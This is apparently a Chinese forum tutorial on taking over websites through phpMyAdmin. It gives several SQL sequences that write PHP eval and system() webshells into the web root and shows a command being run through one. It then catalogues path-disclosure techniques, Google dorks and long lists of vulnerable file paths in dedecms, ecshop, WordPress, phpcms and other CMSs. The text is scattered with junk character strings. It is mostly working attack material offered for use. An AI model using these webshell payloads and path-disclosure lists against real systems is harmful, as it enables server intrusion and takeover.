phpmyadmin后台拿shell

admin

方法一：
CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );
2 o. p/ l! N! CINSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('<?php @eval($_POST[xiaoma])?>');
SELECT xiaomaFROM study INTO OUTFILE 'E:/wamp/www/7.php';
' I- n6 ]5 O7 B, |1 A' k----以上同时执行，在数据库: mysql 下创建一个表名为：xiaoma，字段为xiaoma1，导出到E:/wamp/www/7.php
一句话连接密码：xiaoma
0 N* P/ T" M5 L. _8 [9 c7 d) T: C
7 p; O, A* |9 W. z+ ]9 a- |, z方法二：
* Y8 S& V' z" B6 V: o/ G Create TABLE xiaoma (xiaoma1 text NOT NULL);
Insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma])?>');
select xiaoma1 from xiaoma into outfile 'E:/wamp/www/7.php';
4 w* `9 w6 Q+ `" o9 |- [ Drop TABLE IF EXISTS xiaoma;
- o$ b. x$ t2 |
方法三：

4 }+ s3 [% P. ^& H! ~( p& |8 c读取文件内容：    select load_file('E:/xamp/www/s.php');
9 P, ~* s- I9 @, _. J
$ |1 u$ ~& z+ Z写一句话：select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/xiaoma.php'

) y* s; P7 s1 qcmd执行权限：select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
" P# c' R5 Z1 T, D+ a3 g

) b$ k8 x" Y- w方法四：
select load_file('E:/xamp/www/xiaoma.php');
9 v+ ?, r; m, U; h6 V
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
+ r- Y+ O7 e, i; L4 z" o) c4 k 然后访问网站目录：http://www.xxxx.com/xiaoma.php?cmd=dir
6 r" k! E0 q  f7 N9 D" D6 ]7 o

# O( n/ y- b- H3 n5 V

, Y8 e, U  c. k. s1 _  f- y% ?& E
php爆路径方法收集 ：
( g0 V) W0 |1 o' F: S7 }( N8 \


) M' C/ q9 ~2 U- {- u
: N9 J& ?3 P- h( b4 `3 T& M1、单引号爆路径
7 U3 f! u& r$ L6 r2 J- n& G- R说明：
4 Q9 I; |+ e7 v7 @! L3 K% i* B直接在URL后面加单引号，要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
+ r) E' M' F0 V" }www.xxx.com/news.php?id=149′
, I4 T8 ^/ L4 g# K1 H1 `2 F# y* s
4 U2 i1 J  {( g3 }$ o  v, [/ J' E2、错误参数值爆路径
" O! l: F" J$ }说明：
将要提交的参数值改成错误值，比如-1。-99999单引号被过滤时不妨试试。
www.xxx.com/researcharchive.php?id=-1
! U2 T& W7 P0 M- Q7 O7 Z
3、Google爆路径
" R# g( \3 \! T2 n说明：
; K, H% c7 d8 ]0 f0 X- K7 Z结合关键字和site语法搜索出错页面的网页快照，常见关键字有warning和fatal error。注意，如果目标站点是二级域名，site接的是其对应的顶级域名，这样得到的信息要多得多。
Site:xxx.edu.tw warning
2 d" t" A- O9 ~7 cSite:xxx.com.tw “fatal error”

4、测试文件爆路径
说明：
$ S8 m/ k& d- S/ x/ x9 v+ o# }( z很多网站的根目录下都存在测试文件，脚本代码通常都是phpinfo()。
" I6 Q! B; _& d! w) ^  Swww.xxx.com/test.php
1 u9 K8 E9 W, ], G( Xwww.xxx.com/ceshi.php
/ e5 h2 G" `* G4 M2 ~4 ^' M* Fwww.xxx.com/info.php
4 S) x* n' K2 Z7 ^, }5 m% Xwww.xxx.com/phpinfo.php
www.xxx.com/php_info.php
7 K9 v2 r8 k, @$ H2 }9 bwww.xxx.com/1.php

- V7 e" v4 ?, `0 q6 q- J5、phpmyadmin爆路径
说明：
' T5 D* v+ H% y2 W' v9 O9 m- t一旦找到phpmyadmin的管理页面，再访问该目录下的某些特定文件，就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫，也可以选择google。PS：有些BT网站会写成phpMyAdmin。
: R' I# p8 M" Q1. /phpmyadmin/libraries/lect_lang.lib.php
. E0 S. f" ]0 D$ l8 w2 y2./phpMyAdmin/index.php?lang[]=1
3. /phpMyAdmin/phpinfo.php
' v, ^; j- k) l2 n8 k- P7 R* o' k4. load_file()
5./phpmyadmin/themes/darkblue_orange/layout.inc.php
3 p2 H+ n& d: u8 \$ F: T6./phpmyadmin/libraries/select_lang.lib.php
6 R; i% ?& Y' r8 i5 h2 C: u  f7./phpmyadmin/libraries/lect_lang.lib.php
8./phpmyadmin/libraries/mcrypt.lib.php

6、配置文件找路径
% p9 r( C/ S, _9 }说明：
如果注入点有文件读取权限，就可以手工load_file或工具读取配置文件，再从中寻找路径信息（一般在文件末尾）。各平台下Web服务器和PHP的配置文件默认路径可以上网查，这里列举常见的几个。
( h" u4 }" }3 ?  i
. r% d; l3 F" YWindows:
c:\windows\php.ini                                    php配置文件
c:\windows\system32\inetsrv\MetaBase.xml              IIS虚拟主机配置文件
. Y! |% w& c# `  @
Linux:
/etc/php.ini                                           php配置文件
( [6 P9 j) P; ?- l2 o3 ^. N9 E/etc/httpd/conf.d/php.conf
+ `9 L- K- B, p% l/etc/httpd/conf/httpd.conf                             Apache配置文件
( y, U( G$ ^% Y% N/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf         虚拟目录配置文件

7、nginx文件类型错误解析爆路径
说明：
这是昨天无意中发现的方法，当然要求Web服务器是nginx，且存在文件类型解析漏洞。有时在图片地址后加/x.php，该图片不但会被当作php文件执行，还有可能爆出物理路径。
/ a* p  d" {0 A) f/ o, {4 _( Mhttp://www.xxx.com/top.jpg/x.php
+ ?! n% M6 p2 a# n
8、其他
dedecms
, q: T2 J. x, ~% a: u& }/member/templets/menulit.php
plus/paycenter/alipay/return_url.php
! l- Y) _' r1 c& a% O  U1 Yplus/paycenter/cbpayment/autoreceive.php
$ _/ u: L3 z* P/ N- Ppaycenter/nps/config_pay_nps.php
8 f$ L3 J* n# {2 Z4 w, wplus/task/dede-maketimehtml.php
& t+ H7 D2 `5 ^( |plus/task/dede-optimize-table.php
plus/task/dede-upcache.php
; S  ^( H) k& Z" R
; r  Z3 H' W6 nWP
wp-admin/includes/file.php
  d4 z$ V2 P4 K* `# U9 {wp-content/themes/baiaogu-seo/footer.php
% P" y+ @3 G! z8 |' E( G# N
ecshop商城系统暴路径漏洞文件
/api/cron.php
/wap/goods.php
# `1 x- M  z: |$ G/temp/compiled/ur_here.lbi.php
/temp/compiled/pages.lbi.php
1 `) ^- t4 ?$ t  B4 E/temp/compiled/user_transaction.dwt.php
/temp/compiled/history.lbi.php
/temp/compiled/page_footer.lbi.php
! Z) Z9 p3 w3 e& J- U: Z/temp/compiled/goods.dwt.php
/temp/compiled/user_clips.dwt.php
4 H6 r# ?9 q  n- L/temp/compiled/goods_article.lbi.php
/temp/compiled/comments_list.lbi.php
/temp/compiled/recommend_promotion.lbi.php
/temp/compiled/search.dwt.php
/temp/compiled/category_tree.lbi.php
& d  l# K% A2 V/ h: c/temp/compiled/user_passport.dwt.php
/temp/compiled/promotion_info.lbi.php
9 E- Y/ y& X* z) k9 E& m/temp/compiled/user_menu.lbi.php
/temp/compiled/message.dwt.php
/temp/compiled/admin/pagefooter.htm.php
2 n  B6 F2 m, V4 m/temp/compiled/admin/page.htm.php
0 V4 O( n; Z# m' G# ?/temp/compiled/admin/start.htm.php
/temp/compiled/admin/goods_search.htm.php
/temp/compiled/admin/index.htm.php
/temp/compiled/admin/order_list.htm.php
3 q& _, B# `) t9 Z- h$ x/temp/compiled/admin/menu.htm.php
/temp/compiled/admin/login.htm.php
/temp/compiled/admin/message.htm.php
/temp/compiled/admin/goods_list.htm.php
/temp/compiled/admin/pageheader.htm.php
0 H  s9 V( q, B) y& c) H; O/temp/compiled/admin/top.htm.php
/temp/compiled/top10.lbi.php
/temp/compiled/member_info.lbi.php
/temp/compiled/bought_goods.lbi.php
/temp/compiled/goods_related.lbi.php
# y& ^7 _" u% y: n/temp/compiled/page_header.lbi.php
2 w9 Z/ ]! _4 I% N! `" }" E/temp/compiled/goods_script.html.php
( ~  R7 M0 V& A; c! w/temp/compiled/index.dwt.php
/temp/compiled/goods_fittings.lbi.php
/temp/compiled/myship.dwt.php
/temp/compiled/brands.lbi.php
/temp/compiled/help.lbi.php
/temp/compiled/goods_gallery.lbi.php
1 @4 r" M3 c5 T4 Z" Z) V3 f" f$ D+ Z/temp/compiled/comments.lbi.php
/temp/compiled/myship.lbi.php
/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
  o, w  \5 N$ |7 U: Q" v/includes/modules/cron/auto_manage.php
/includes/modules/cron/ipdel.php
& h" {: v2 \# p# ~( T9 g: d- }# ?
ucenter爆路径
0 |" l* z. p9 f9 @ucenter\control\admin\db.php

+ `: f- D5 f) J9 k3 [DZbbs
/ v( o6 ?5 F! F# r, mmanyou/admincp.php?my_suffix=%0A%0DTOBY57

2 Y8 F: Q7 t2 ^# \* x: dz-blog
/ E! I* b) d% ]$ w+ X6 L6 j4 yadmin/FCKeditor/editor/dialog/fck%5Fspellerpages/spellerpages/server%2Dscripts/spellchecker.php

php168爆路径
" p1 U( U' o1 I/ a$ qadmin/inc/hack/count.php?job=list
admin/inc/hack/search.php?job=getcode
: K1 Q6 B3 B1 b+ y" i+ s5 _admin/inc/ajax/bencandy.php?job=do
) f" ~9 ~: ^" }cache/MysqlTime.txt
. \9 F. K$ d1 k2 u" r+ |
; }: M. I5 {- H6 p" KPHPcms2008-sp4
) G* S$ L0 V, y  c注册用户登陆后访问
phpcms/corpandresize/process.php?pic=../images/logo.gif

bo-blog
PoC:
/go.php/<[evil code]
$ N/ h' ~6 u+ a+ v- `% SCMSeasy爆网站路径漏洞
. m. q" ]! N: T, Z漏洞出现在menu_top.php这个文件中
lib/mods/celive/menu_top.php
/lib/default/ballot_act.php
lib/default/special_act.php